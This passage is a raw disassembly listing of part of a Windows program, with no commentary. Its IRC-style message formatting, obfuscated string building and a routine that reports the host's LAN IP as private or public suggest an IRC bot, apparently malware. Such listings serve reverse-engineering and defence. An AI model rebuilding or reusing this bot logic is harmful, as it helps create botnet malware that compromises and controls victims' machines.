; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_4117DC
lea ebx, [esi+11h]
jmp short loc_4117DE
; ---------------------------------------------------------------------------
loc_4117DC: ; CODE XREF: ___:004117D5j
xor ebx, ebx
loc_4117DE: ; CODE XREF: ___:004117DAj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019C4
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017EE
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_41183B
lea ebx, [esi+11h]
jmp short loc_41183D
; ---------------------------------------------------------------------------
loc_41183B: ; CODE XREF: ___:00411834j
xor ebx, ebx
loc_41183D: ; CODE XREF: ___:00411839j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017EE
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411890
lea ebx, [esi+11h]
jmp short loc_411892
; ---------------------------------------------------------------------------
loc_411890: ; CODE XREF: ___:00411889j
xor ebx, ebx
loc_411892: ; CODE XREF: ___:0041188Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017EE
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_4118E5
lea ebx, [esi+11h]
jmp short loc_4118E7
; ---------------------------------------------------------------------------
loc_4118E5: ; CODE XREF: ___:004118DEj
xor ebx, ebx
loc_4118E7: ; CODE XREF: ___:004118E3j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019C4
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017EE
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411938
lea ebx, [esi+11h]
jmp short loc_41193A
; ---------------------------------------------------------------------------
loc_411938: ; CODE XREF: ___:00411931j
xor ebx, ebx
loc_41193A: ; CODE XREF: ___:00411936j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019C4
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017EE
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411991
lea ebx, [esi+11h]
jmp short loc_411993
; ---------------------------------------------------------------------------
loc_411991: ; CODE XREF: ___:0041198Aj
xor ebx, ebx
loc_411993: ; CODE XREF: ___:0041198Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017EE
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_4119EF
lea ebx, [esi+11h]
jmp short loc_4119F1
; ---------------------------------------------------------------------------
loc_4119EF: ; CODE XREF: ___:004119E8j
xor ebx, ebx
loc_4119F1: ; CODE XREF: ___:004119EDj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017EE
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411A4A
lea ebx, [esi+11h]
jmp short loc_411A4C
; ---------------------------------------------------------------------------
loc_411A4A: ; CODE XREF: ___:00411A43j
xor ebx, ebx
loc_411A4C: ; CODE XREF: ___:00411A48j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019C4
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017EE
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411AA5
lea ebx, [esi+11h]
jmp short loc_411AA7
; ---------------------------------------------------------------------------
loc_411AA5: ; CODE XREF: ___:00411A9Ej
xor ebx, ebx
loc_411AA7: ; CODE XREF: ___:00411AA3j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019C4
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017EE
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_449118
call sub_40159B
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411C00 proc near ; CODE XREF: sub_401ACDj
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411C00
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412129
lea ecx, [edi+26Dh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412129
lea ecx, [edi+0A1h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_411D02
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
mov edx, dword_4490C0
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSSS_1 ; "%s %s :%s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_411D02: ; CODE XREF: sub_411C00+70j
lea ecx, [edi+187h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_411D79
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_411D79: ; CODE XREF: sub_411C00+117j
lea ecx, [edi+0FDh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_411E34
push offset asc_444600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016B8
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018B1
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412152
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D4D
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017EE
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401857
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_411E34: ; CODE XREF: sub_411C00+18Ej
lea ecx, [edi+12Bh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_411EDD
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_4490C4
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E24
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_411EDD: ; CODE XREF: sub_411C00+249j
lea ecx, [edi+1B5h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_411F4B
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017EE
mov edx, dword_4490F0
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E24
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_411F4B: ; CODE XREF: sub_411C00+2F2j
lea ecx, [edi+23Fh]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_411FAD
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E47
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017EE
push eax
add edi, 0FFFFFFEFh
push offset aS_3 ; "%s\r\n"
push edi
call sub_401E24
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_411FAD: ; CODE XREF: sub_411C00+360j
lea ecx, [edi+1E3h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41204D
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016B8
mov ebp, eax
push 1
push offset asc_444600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014DD
push eax
mov ecx, esi
call sub_4014DD
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412152
; ---------------------------------------------------------------------------
loc_41204D: ; CODE XREF: sub_411C00+3C2j
lea ecx, [edi+159h]
call sub_4017EE
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412152
push offset asc_444600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016B8
mov ebp, eax
push offset asc_444600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016B8
mov ebx, eax
push offset asc_444600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016B8
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017EE
push eax
mov ecx, ebx
call sub_4017EE
push eax
mov ecx, esi
call sub_4017EE
push eax
mov eax, dword_4490F4
push eax
add edi, 0FFFFFFEFh
push offset aSSSS ; "%s %s %s %s\r\n"
push edi
call sub_401E24
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412152
; ---------------------------------------------------------------------------
loc_412129: ; CODE XREF: sub_411C00+3Aj
; sub_411C00+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC5E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401541
loc_412152: ; CODE XREF: sub_411C00+FDj
; sub_411C00+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_411C00 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4122D0 proc near ; CODE XREF: sub_401D4Dj
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4122D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_40142E
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5F285B
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_448F30
call sub_4015E1
push offset aLan ; "lan: "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401AAF
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016C7
push offset a_ ; ". "
lea ecx, [esp+54h+var_24]
call sub_401AAF
lea ecx, [esp+50h+var_34]
push ecx
call sub_401483
add esp, 4
test al, al
jz short loc_4123DB
push offset aPrivate ; "[PRIVATE]"
jmp short loc_4123E0
; ---------------------------------------------------------------------------
loc_4123DB: ; CODE XREF: sub_4122D0+102j
push offset aPublic ; "[PUBLIC]"
loc_4123E0: ; CODE XREF: sub_4122D0+109j
lea ecx, [esp+54h+var_24]
call sub_401AAF
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014D3
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_4122D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412490 proc near ; CODE XREF: sub_40158Cj
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
nop
call near ptr 71AB428Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_4124EE
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
call near ptr 71AB9639h
nop
mov ecx, offset word_44AC5E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4124EE: ; CODE XREF: sub_412490+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412490 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412520 proc near ; CODE XREF: sub_401E24j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_40158C
add esp, 2000h
retn
sub_412520 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412590 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412590
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_4125C7
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4125C7: ; CODE XREF: sub_412590+21j
lea ecx, [esp+40h+var_3C]
call sub_40142E
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_4125E8
mov eax, dword_4490C0
push eax
jmp short loc_4125EF
; ---------------------------------------------------------------------------
loc_4125E8: ; CODE XREF: sub_412590+4Ej
mov ecx, dword_4490C8
push ecx
loc_4125EF: ; CODE XREF: sub_412590+56j
lea ecx, [esp+44h+var_3C]
call sub_4015E1
push ebx
lea ecx, [esp+44h+var_24]
call sub_40142E
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017EE
push eax
lea ecx, [esp+50h+var_24]
push offset aSSS_1 ; "%s %s :%s\r\n"
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014DD
push eax
mov ecx, esi
call sub_40158C
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412590 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4126C0 proc near ; CODE XREF: sub_401857j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_437B30
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
call near ptr 77C3FF8Ah
nop
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_4126C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412740 proc near ; CODE XREF: sub_401D20j
push esi
mov esi, ecx
call sub_401FD7
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412740 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412770 proc near ; CODE XREF: sub_401FD7j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_44AC5E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401541
pop esi
retn
sub_412770 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4127B0 proc near ; CODE XREF: sub_40172Bj
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_4127B0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4127E0 proc near ; CODE XREF: sub_401B68j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_401717
mov eax, [esi+4]
mov edx, [esi+0Ch]
sub edx, eax
mov ecx, esi
sar edx, 2
push edx
push eax
call sub_401294
sub_4127E0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
pop esi
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412830 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C5
sub_412830 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_412848
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_412848: ; CODE XREF: ___:0041283Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412860 proc near ; CODE XREF: sub_4013C5j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F028
mov dword ptr [esi+11h], offset off_43F034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B68
sub_412860 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412A20 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412A20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E88
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402072
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_412A20 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_412AA0: ; CODE XREF: ___:loc_40115Ej
; ___:004016F4j
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_412AB8
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_412AB8: ; CODE XREF: ___:00412AADj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412AD0 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412AD0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401979
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_412AD0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B50 proc near ; CODE XREF: sub_402072j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_412B50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_40142E
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40142E
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_40142E
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_40142E
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_40142E
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_40142E
